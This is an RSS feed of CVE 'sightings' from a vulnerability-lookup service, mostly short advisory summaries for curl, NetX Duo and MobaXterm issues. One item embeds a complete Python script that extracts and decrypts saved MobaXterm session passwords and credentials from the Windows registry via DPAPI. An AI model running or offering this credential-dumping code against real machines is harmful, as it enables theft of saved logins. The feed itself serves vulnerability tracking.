<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent sightings.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent sightings.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 17 Sep 2026 09:39:02 +0000</lastBuildDate>
    <item>
      <title>3f5057da-8dbc-4edc-b13f-eb32c9b081af</title>
      <link>https://vulnerability.circl.lu/sighting/3f5057da-8dbc-4edc-b13f-eb32c9b081af/export</link>
      <description>{"uuid": "3f5057da-8dbc-4edc-b13f-eb32c9b081af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://t.me/hackeronereports/212", "content": "\ud83c\udfaf New Report #2974850: CVE-2025-0725: Heap overflow in curl with Content-Encoding gzip and old libz versions\n\ud83d\udd3aSeverity: Low\n\ud83d\udc7d Reporter: z2 \n\ud83d\udcbc Team: Internet Bug Bounty\n\ud83d\udcb5 Bounty: null\n\ud83d\udd50 Submitted: 2025-02-05\n\u23f0 Disclosed: 2025-04-27 13:53:37\n\ud83d\udcdd Summary: A vulnerability was reported in the curl project, where a heap overflow could be triggered by a malicious HTTP server serving abnormally large gzip headers. The vulnerability was caused by an integer overflow in curl's support for old libz versions when the Content-Encoding: gzip header was used. The vulnerability was assigned the CVE identifier CVE-2025-0725 and was classified as low severity.\n  @hackeronereports", "creation_timestamp": "2026-09-15T00:00:28.112524Z"}</description>
      <content:encoded>{"uuid": "3f5057da-8dbc-4edc-b13f-eb32c9b081af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://t.me/hackeronereports/212", "content": "\ud83c\udfaf New Report #2974850: CVE-2025-0725: Heap overflow in curl with Content-Encoding gzip and old libz versions\n\ud83d\udd3aSeverity: Low\n\ud83d\udc7d Reporter: z2 \n\ud83d\udcbc Team: Internet Bug Bounty\n\ud83d\udcb5 Bounty: null\n\ud83d\udd50 Submitted: 2025-02-05\n\u23f0 Disclosed: 2025-04-27 13:53:37\n\ud83d\udcdd Summary: A vulnerability was reported in the curl project, where a heap overflow could be triggered by a malicious HTTP server serving abnormally large gzip headers. The vulnerability was caused by an integer overflow in curl's support for old libz versions when the Content-Encoding: gzip header was used. The vulnerability was assigned the CVE identifier CVE-2025-0725 and was classified as low severity.\n  @hackeronereports", "creation_timestamp": "2026-09-15T00:00:28.112524Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/3f5057da-8dbc-4edc-b13f-eb32c9b081af/export</guid>
      <pubDate>Tue, 15 Sep 2026 00:00:28 +0000</pubDate>
    </item>
    <item>
      <title>686fa252-6443-421e-8aba-b9fbc6e1e80f</title>
      <link>https://vulnerability.circl.lu/sighting/686fa252-6443-421e-8aba-b9fbc6e1e80f/export</link>
      <description>{"uuid": "686fa252-6443-421e-8aba-b9fbc6e1e80f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://t.me/hackeronereports/212", "content": "\ud83c\udfaf New Report #2974850: CVE-2025-0725: Heap overflow in curl with Content-Encoding gzip and old libz versions\n\ud83d\udd3aSeverity: Low\n\ud83d\udc7d Reporter: z2 \n\ud83d\udcbc Team: Internet Bug Bounty\n\ud83d\udcb5 Bounty: null\n\ud83d\udd50 Submitted: 2025-02-05\n\u23f0 Disclosed: 2025-04-27 13:53:37\n\ud83d\udcdd Summary: A vulnerability was reported in the curl project, where a heap overflow could be triggered by a malicious HTTP server serving abnormally large gzip headers. The vulnerability was caused by an integer overflow in curl's support for old libz versions when the Content-Encoding: gzip header was used. The vulnerability was assigned the CVE identifier CVE-2025-0725 and was classified as low severity.\n  @hackeronereports", "creation_timestamp": "2026-09-14T06:00:04.761127Z"}</description>
      <content:encoded>{"uuid": "686fa252-6443-421e-8aba-b9fbc6e1e80f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://t.me/hackeronereports/212", "content": "\ud83c\udfaf New Report #2974850: CVE-2025-0725: Heap overflow in curl with Content-Encoding gzip and old libz versions\n\ud83d\udd3aSeverity: Low\n\ud83d\udc7d Reporter: z2 \n\ud83d\udcbc Team: Internet Bug Bounty\n\ud83d\udcb5 Bounty: null\n\ud83d\udd50 Submitted: 2025-02-05\n\u23f0 Disclosed: 2025-04-27 13:53:37\n\ud83d\udcdd Summary: A vulnerability was reported in the curl project, where a heap overflow could be triggered by a malicious HTTP server serving abnormally large gzip headers. The vulnerability was caused by an integer overflow in curl's support for old libz versions when the Content-Encoding: gzip header was used. The vulnerability was assigned the CVE identifier CVE-2025-0725 and was classified as low severity.\n  @hackeronereports", "creation_timestamp": "2026-09-14T06:00:04.761127Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/686fa252-6443-421e-8aba-b9fbc6e1e80f/export</guid>
      <pubDate>Mon, 14 Sep 2026 06:00:04 +0000</pubDate>
    </item>
    <item>
      <title>0ff219b7-a00b-43cd-8788-5f631e5883f9</title>
      <link>https://vulnerability.circl.lu/sighting/0ff219b7-a00b-43cd-8788-5f631e5883f9/export</link>
      <description>{"uuid": "0ff219b7-a00b-43cd-8788-5f631e5883f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3monbwwekfi2r", "content": "CVE-2026-11576 - eclipse-threadx NetX Duo HTTP Server fx_file_close Uninitialized Handle Vulnerability\nCVE ID : CVE-2026-11576\n \n Published : June 19, 2026, 8:27 a.m. | 3\u00a0hours, 9\u00a0minutes ago\n \n Description : The security fix for CVE-2025-0728 in eclipse-threadx NetX Duo refac...", "creation_timestamp": "2026-06-19T11:55:58.532320Z"}</description>
      <content:encoded>{"uuid": "0ff219b7-a00b-43cd-8788-5f631e5883f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3monbwwekfi2r", "content": "CVE-2026-11576 - eclipse-threadx NetX Duo HTTP Server fx_file_close Uninitialized Handle Vulnerability\nCVE ID : CVE-2026-11576\n \n Published : June 19, 2026, 8:27 a.m. | 3\u00a0hours, 9\u00a0minutes ago\n \n Description : The security fix for CVE-2025-0728 in eclipse-threadx NetX Duo refac...", "creation_timestamp": "2026-06-19T11:55:58.532320Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/0ff219b7-a00b-43cd-8788-5f631e5883f9/export</guid>
      <pubDate>Fri, 19 Jun 2026 11:55:58 +0000</pubDate>
    </item>
    <item>
      <title>4e4d6298-df5e-4d7b-8997-541885079063</title>
      <link>https://vulnerability.circl.lu/sighting/4e4d6298-df5e-4d7b-8997-541885079063/export</link>
      <description>{"uuid": "4e4d6298-df5e-4d7b-8997-541885079063", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0728", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mon6tcwdwj2g", "content": "\ud83d\udea8 EUVD-2026-37999\n\ud83d\udcca 7.5/10\n\ud83c\udfe2 Eclipse Foundation\n\n\ud83d\udcdd The security fix for CVE-2025-0728 in eclipse-threadx NetX Duo refactors error handling in the HTTP server PUT process to use a shared cleanup ...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-37999\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-06-19T11:00:15.721087Z"}</description>
      <content:encoded>{"uuid": "4e4d6298-df5e-4d7b-8997-541885079063", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0728", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mon6tcwdwj2g", "content": "\ud83d\udea8 EUVD-2026-37999\n\ud83d\udcca 7.5/10\n\ud83c\udfe2 Eclipse Foundation\n\n\ud83d\udcdd The security fix for CVE-2025-0728 in eclipse-threadx NetX Duo refactors error handling in the HTTP server PUT process to use a shared cleanup ...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-37999\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-06-19T11:00:15.721087Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/4e4d6298-df5e-4d7b-8997-541885079063/export</guid>
      <pubDate>Fri, 19 Jun 2026 11:00:15 +0000</pubDate>
    </item>
    <item>
      <title>4bf40d55-516d-4d33-9642-e56865e61cc8</title>
      <link>https://vulnerability.circl.lu/sighting/4bf40d55-516d-4d33-9642-e56865e61cc8/export</link>
      <description>{"uuid": "4bf40d55-516d-4d33-9642-e56865e61cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://gist.github.com/kipavy/910e7ddc8efea7aeb9202c0241486a1d", "content": "#!/usr/bin/env python3\n\"\"\"\nMobaXterm v25+/v26 password decryptor  (handles CVE-2025-0714 random-IV format).\n\nOlder tools (HyperSine, XMCyber, clemthi) assume a fixed IV = AES-ECB(key, 0).\nMobaXterm &amp;gt;= 25.0 switched to a random per-password IV stored inline. Format:\n\n    stored = \"_@\" + IV(16 chars) + base64(AES-256-CFB8(key, IV, password))\n\n  key  = SHA512(master_password)[:32]\n  IV   = the 16 ASCII characters right after the \"_@\" marker (used as the AES IV bytes)\n  body = base64-decode the FULL stored string (alphabet @-&amp;gt;+, _-&amp;gt;/), then drop the\n         first 15 bytes -&amp;gt; the CFB8 ciphertext of the password.\n\nThis script auto-derives the key from the DPAPI-protected master-password hash in the\nregistry (so you don't even need to type the master password), then decrypts the\nP (session passwords) and C (credentials) subkeys.\n\nRequires: pycryptodome  (pip install pycryptodome)\nWindows only (reads HKCU and uses DPAPI).\n\"\"\"\nimport os, sys, platform, base64, hashlib, itertools, winreg, ctypes\nfrom ctypes import wintypes\nfrom Crypto.Cipher import AES\n\nREG_BASE = r'Software\\Mobatek\\MobaXterm'\nDPAPI_HEADER = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb')\n\n\n# ---- DPAPI (CryptUnprotectData) via Win32, with optional entropy ----\nclass DATA_BLOB(ctypes.Structure):\n    _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]\n\ndef _blob(data: bytes) -&amp;gt; DATA_BLOB:\n    buf = ctypes.create_string_buffer(data, len(data))\n    return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))\n\ndef dpapi_unprotect(data: bytes, entropy: bytes) -&amp;gt; bytes:\n    pin, pent, pout = _blob(data), _blob(entropy), DATA_BLOB()\n    if not ctypes.windll.crypt32.CryptUnprotectData(\n            ctypes.byref(pin), None, ctypes.byref(pent), None, None, 0, ctypes.byref(pout)):\n        raise ctypes.WinError()\n    out = ctypes.string_at(pout.pbData, pout.cbData)\n    ctypes.windll.kernel32.LocalFree(pout.pbData)\n    return out\n\n\ndef derive_key_from_registry() -&amp;gt; bytes:\n    \"\"\"Derive the AES key from the DPAPI-protected master-password hash (no typing needed).\"\"\"\n    base = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE)\n    session_p, _ = winreg.QueryValueEx(base, 'SessionP')\n    m = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + r'\\M')\n    val, _ = winreg.QueryValueEx(m, os.getlogin() + '@' + platform.node())\n    blob = DPAPI_HEADER + base64.b64decode(val)\n    master_hash = dpapi_unprotect(blob, str(session_p).encode('utf-8'))\n    return base64.b64decode(master_hash)[:32]\n\n\ndef derive_key_from_password(master_password: str) -&amp;gt; bytes:\n    return hashlib.sha512(master_password.encode('utf-8')).digest()[:32]\n\n\ndef decrypt_value(key: bytes, stored: str) -&amp;gt; bytes:\n    \"\"\"Decrypt one MobaXterm v25+/v26 stored password string.\"\"\"\n    if not stored.startswith('_@'):\n        # Old (&amp;lt;=v24) format: full string is base64 (@-&amp;gt;+,_-&amp;gt;/), fixed IV = ECB(key,0)\n        ct = base64.b64decode(stored, altchars=b'@_')\n        iv = AES.new(key=key, mode=AES.MODE_ECB).encrypt(b'\\x00' * 16)\n        return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(ct)\n    iv = stored[2:18].encode('latin1')              # 16 chars after _@ = AES IV\n    body = base64.b64decode(stored, altchars=b'@_')[15:]\n    return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(body)\n\n\ndef _decode(b: bytes) -&amp;gt; str:\n    try:\n        return b.decode('utf-8')\n    except UnicodeDecodeError:\n        return b.decode('latin1')\n\n\ndef enum_values(subkey: str):\n    try:\n        k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + '\\\\' + subkey)\n    except FileNotFoundError:\n        return\n    for i in itertools.count(0):\n        try:\n            yield winreg.EnumValue(k, i)[:2]\n        except OSError:\n            break\n\n\ndef main():\n    if platform.system().lower() != 'windows':\n        sys.exit('Windows only.')\n    try:\n        key = derive_key_from_registry()\n        print('[+] AES key derived from registry master-password hash.\\n')\n    except Exception as e:\n        pw = input('Could not auto-derive key (%s).\\nEnter MobaXterm master password: ' % e)\n        key = derive_key_from_password(pw)\n\n    print('=== Session passwords (P) ===')\n    for name, value in enum_values('P'):\n        print(f'  {name:&amp;lt;32} {_decode(decrypt_value(key, value))!r}')\n\n    creds = list(enum_values('C'))\n    if creds:\n        print('\\n=== Credentials (C) ===')\n        for name, value in creds:\n            user, _, enc = value.partition(':')\n            print(f'  {name:&amp;lt;20} user={user!r:&amp;lt;14} {_decode(decrypt_value(key, enc))!r}')\n\n\nif __name__ == '__main__':\n    main()\n", "creation_timestamp": "2026-05-30T13:57:01.000000Z"}</description>
      <content:encoded>{"uuid": "4bf40d55-516d-4d33-9642-e56865e61cc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://gist.github.com/kipavy/910e7ddc8efea7aeb9202c0241486a1d", "content": "#!/usr/bin/env python3\n\"\"\"\nMobaXterm v25+/v26 password decryptor  (handles CVE-2025-0714 random-IV format).\n\nOlder tools (HyperSine, XMCyber, clemthi) assume a fixed IV = AES-ECB(key, 0).\nMobaXterm &amp;gt;= 25.0 switched to a random per-password IV stored inline. Format:\n\n    stored = \"_@\" + IV(16 chars) + base64(AES-256-CFB8(key, IV, password))\n\n  key  = SHA512(master_password)[:32]\n  IV   = the 16 ASCII characters right after the \"_@\" marker (used as the AES IV bytes)\n  body = base64-decode the FULL stored string (alphabet @-&amp;gt;+, _-&amp;gt;/), then drop the\n         first 15 bytes -&amp;gt; the CFB8 ciphertext of the password.\n\nThis script auto-derives the key from the DPAPI-protected master-password hash in the\nregistry (so you don't even need to type the master password), then decrypts the\nP (session passwords) and C (credentials) subkeys.\n\nRequires: pycryptodome  (pip install pycryptodome)\nWindows only (reads HKCU and uses DPAPI).\n\"\"\"\nimport os, sys, platform, base64, hashlib, itertools, winreg, ctypes\nfrom ctypes import wintypes\nfrom Crypto.Cipher import AES\n\nREG_BASE = r'Software\\Mobatek\\MobaXterm'\nDPAPI_HEADER = bytes.fromhex('01000000d08c9ddf0115d1118c7a00c04fc297eb')\n\n\n# ---- DPAPI (CryptUnprotectData) via Win32, with optional entropy ----\nclass DATA_BLOB(ctypes.Structure):\n    _fields_ = [('cbData', wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))]\n\ndef _blob(data: bytes) -&amp;gt; DATA_BLOB:\n    buf = ctypes.create_string_buffer(data, len(data))\n    return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))\n\ndef dpapi_unprotect(data: bytes, entropy: bytes) -&amp;gt; bytes:\n    pin, pent, pout = _blob(data), _blob(entropy), DATA_BLOB()\n    if not ctypes.windll.crypt32.CryptUnprotectData(\n            ctypes.byref(pin), None, ctypes.byref(pent), None, None, 0, ctypes.byref(pout)):\n        raise ctypes.WinError()\n    out = ctypes.string_at(pout.pbData, pout.cbData)\n    ctypes.windll.kernel32.LocalFree(pout.pbData)\n    return out\n\n\ndef derive_key_from_registry() -&amp;gt; bytes:\n    \"\"\"Derive the AES key from the DPAPI-protected master-password hash (no typing needed).\"\"\"\n    base = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE)\n    session_p, _ = winreg.QueryValueEx(base, 'SessionP')\n    m = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + r'\\M')\n    val, _ = winreg.QueryValueEx(m, os.getlogin() + '@' + platform.node())\n    blob = DPAPI_HEADER + base64.b64decode(val)\n    master_hash = dpapi_unprotect(blob, str(session_p).encode('utf-8'))\n    return base64.b64decode(master_hash)[:32]\n\n\ndef derive_key_from_password(master_password: str) -&amp;gt; bytes:\n    return hashlib.sha512(master_password.encode('utf-8')).digest()[:32]\n\n\ndef decrypt_value(key: bytes, stored: str) -&amp;gt; bytes:\n    \"\"\"Decrypt one MobaXterm v25+/v26 stored password string.\"\"\"\n    if not stored.startswith('_@'):\n        # Old (&amp;lt;=v24) format: full string is base64 (@-&amp;gt;+,_-&amp;gt;/), fixed IV = ECB(key,0)\n        ct = base64.b64decode(stored, altchars=b'@_')\n        iv = AES.new(key=key, mode=AES.MODE_ECB).encrypt(b'\\x00' * 16)\n        return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(ct)\n    iv = stored[2:18].encode('latin1')              # 16 chars after _@ = AES IV\n    body = base64.b64decode(stored, altchars=b'@_')[15:]\n    return AES.new(key=key, iv=iv, mode=AES.MODE_CFB, segment_size=8).decrypt(body)\n\n\ndef _decode(b: bytes) -&amp;gt; str:\n    try:\n        return b.decode('utf-8')\n    except UnicodeDecodeError:\n        return b.decode('latin1')\n\n\ndef enum_values(subkey: str):\n    try:\n        k = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_BASE + '\\\\' + subkey)\n    except FileNotFoundError:\n        return\n    for i in itertools.count(0):\n        try:\n            yield winreg.EnumValue(k, i)[:2]\n        except OSError:\n            break\n\n\ndef main():\n    if platform.system().lower() != 'windows':\n        sys.exit('Windows only.')\n    try:\n        key = derive_key_from_registry()\n        print('[+] AES key derived from registry master-password hash.\\n')\n    except Exception as e:\n        pw = input('Could not auto-derive key (%s).\\nEnter MobaXterm master password: ' % e)\n        key = derive_key_from_password(pw)\n\n    print('=== Session passwords (P) ===')\n    for name, value in enum_values('P'):\n        print(f'  {name:&amp;lt;32} {_decode(decrypt_value(key, value))!r}')\n\n    creds = list(enum_values('C'))\n    if creds:\n        print('\\n=== Credentials (C) ===')\n        for name, value in creds:\n            user, _, enc = value.partition(':')\n            print(f'  {name:&amp;lt;20} user={user!r:&amp;lt;14} {_decode(decrypt_value(key, enc))!r}')\n\n\nif __name__ == '__main__':\n    main()\n", "creation_timestamp": "2026-05-30T13:57:01.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/4bf40d55-516d-4d33-9642-e56865e61cc8/export</guid>
      <pubDate>Sat, 30 May 2026 13:57:01 +0000</pubDate>
    </item>
    <item>
      <title>44a452a0-f684-417f-a625-59f428c93c3f</title>
      <link>https://vulnerability.circl.lu/sighting/44a452a0-f684-417f-a625-59f428c93c3f/export</link>
      <description>{"uuid": "44a452a0-f684-417f-a625-59f428c93c3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1833", "content": "", "creation_timestamp": "2026-04-21T21:00:00.000000Z"}</description>
      <content:encoded>{"uuid": "44a452a0-f684-417f-a625-59f428c93c3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1833", "content": "", "creation_timestamp": "2026-04-21T21:00:00.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/44a452a0-f684-417f-a625-59f428c93c3f/export</guid>
      <pubDate>Tue, 21 Apr 2026 21:00:00 +0000</pubDate>
    </item>
    <item>
      <title>eace2e50-eb0f-4dc1-89cc-c8752b9492bc</title>
      <link>https://vulnerability.circl.lu/sighting/eace2e50-eb0f-4dc1-89cc-c8752b9492bc/export</link>
      <description>{"uuid": "eace2e50-eb0f-4dc1-89cc-c8752b9492bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}</description>
      <content:encoded>{"uuid": "eace2e50-eb0f-4dc1-89cc-c8752b9492bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0725", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/eace2e50-eb0f-4dc1-89cc-c8752b9492bc/export</guid>
      <pubDate>Thu, 12 Feb 2026 11:00:00 +0000</pubDate>
    </item>
    <item>
      <title>d39b9673-6d32-44eb-941d-1177823cea7c</title>
      <link>https://vulnerability.circl.lu/sighting/d39b9673-6d32-44eb-941d-1177823cea7c/export</link>
      <description>{"uuid": "d39b9673-6d32-44eb-941d-1177823cea7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0781", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor7ulkz2y", "content": "", "creation_timestamp": "2026-01-16T18:05:07.151247Z"}</description>
      <content:encoded>{"uuid": "d39b9673-6d32-44eb-941d-1177823cea7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0781", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor7ulkz2y", "content": "", "creation_timestamp": "2026-01-16T18:05:07.151247Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/d39b9673-6d32-44eb-941d-1177823cea7c/export</guid>
      <pubDate>Fri, 16 Jan 2026 18:05:07 +0000</pubDate>
    </item>
    <item>
      <title>08fd1104-763f-4bc8-b7d6-8a9f185950d0</title>
      <link>https://vulnerability.circl.lu/sighting/08fd1104-763f-4bc8-b7d6-8a9f185950d0/export</link>
      <description>{"uuid": "08fd1104-763f-4bc8-b7d6-8a9f185950d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0781", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor7t3sw23", "content": "", "creation_timestamp": "2026-01-16T18:05:06.625608Z"}</description>
      <content:encoded>{"uuid": "08fd1104-763f-4bc8-b7d6-8a9f185950d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0781", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mckor7t3sw23", "content": "", "creation_timestamp": "2026-01-16T18:05:06.625608Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/08fd1104-763f-4bc8-b7d6-8a9f185950d0/export</guid>
      <pubDate>Fri, 16 Jan 2026 18:05:06 +0000</pubDate>
    </item>
    <item>
      <title>ba10a44f-e61c-4d37-86fa-b74fe0631cfc</title>
      <link>https://vulnerability.circl.lu/sighting/ba10a44f-e61c-4d37-86fa-b74fe0631cfc/export</link>
      <description>{"uuid": "ba10a44f-e61c-4d37-86fa-b74fe0631cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://gist.github.com/Darkcrai86/564815f485c70b429e11f0fe5033b511", "content": "", "creation_timestamp": "2026-01-14T18:54:12.000000Z"}</description>
      <content:encoded>{"uuid": "ba10a44f-e61c-4d37-86fa-b74fe0631cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://gist.github.com/Darkcrai86/564815f485c70b429e11f0fe5033b511", "content": "", "creation_timestamp": "2026-01-14T18:54:12.000000Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/ba10a44f-e61c-4d37-86fa-b74fe0631cfc/export</guid>
      <pubDate>Wed, 14 Jan 2026 18:54:12 +0000</pubDate>
    </item>
  </channel>
</rss>
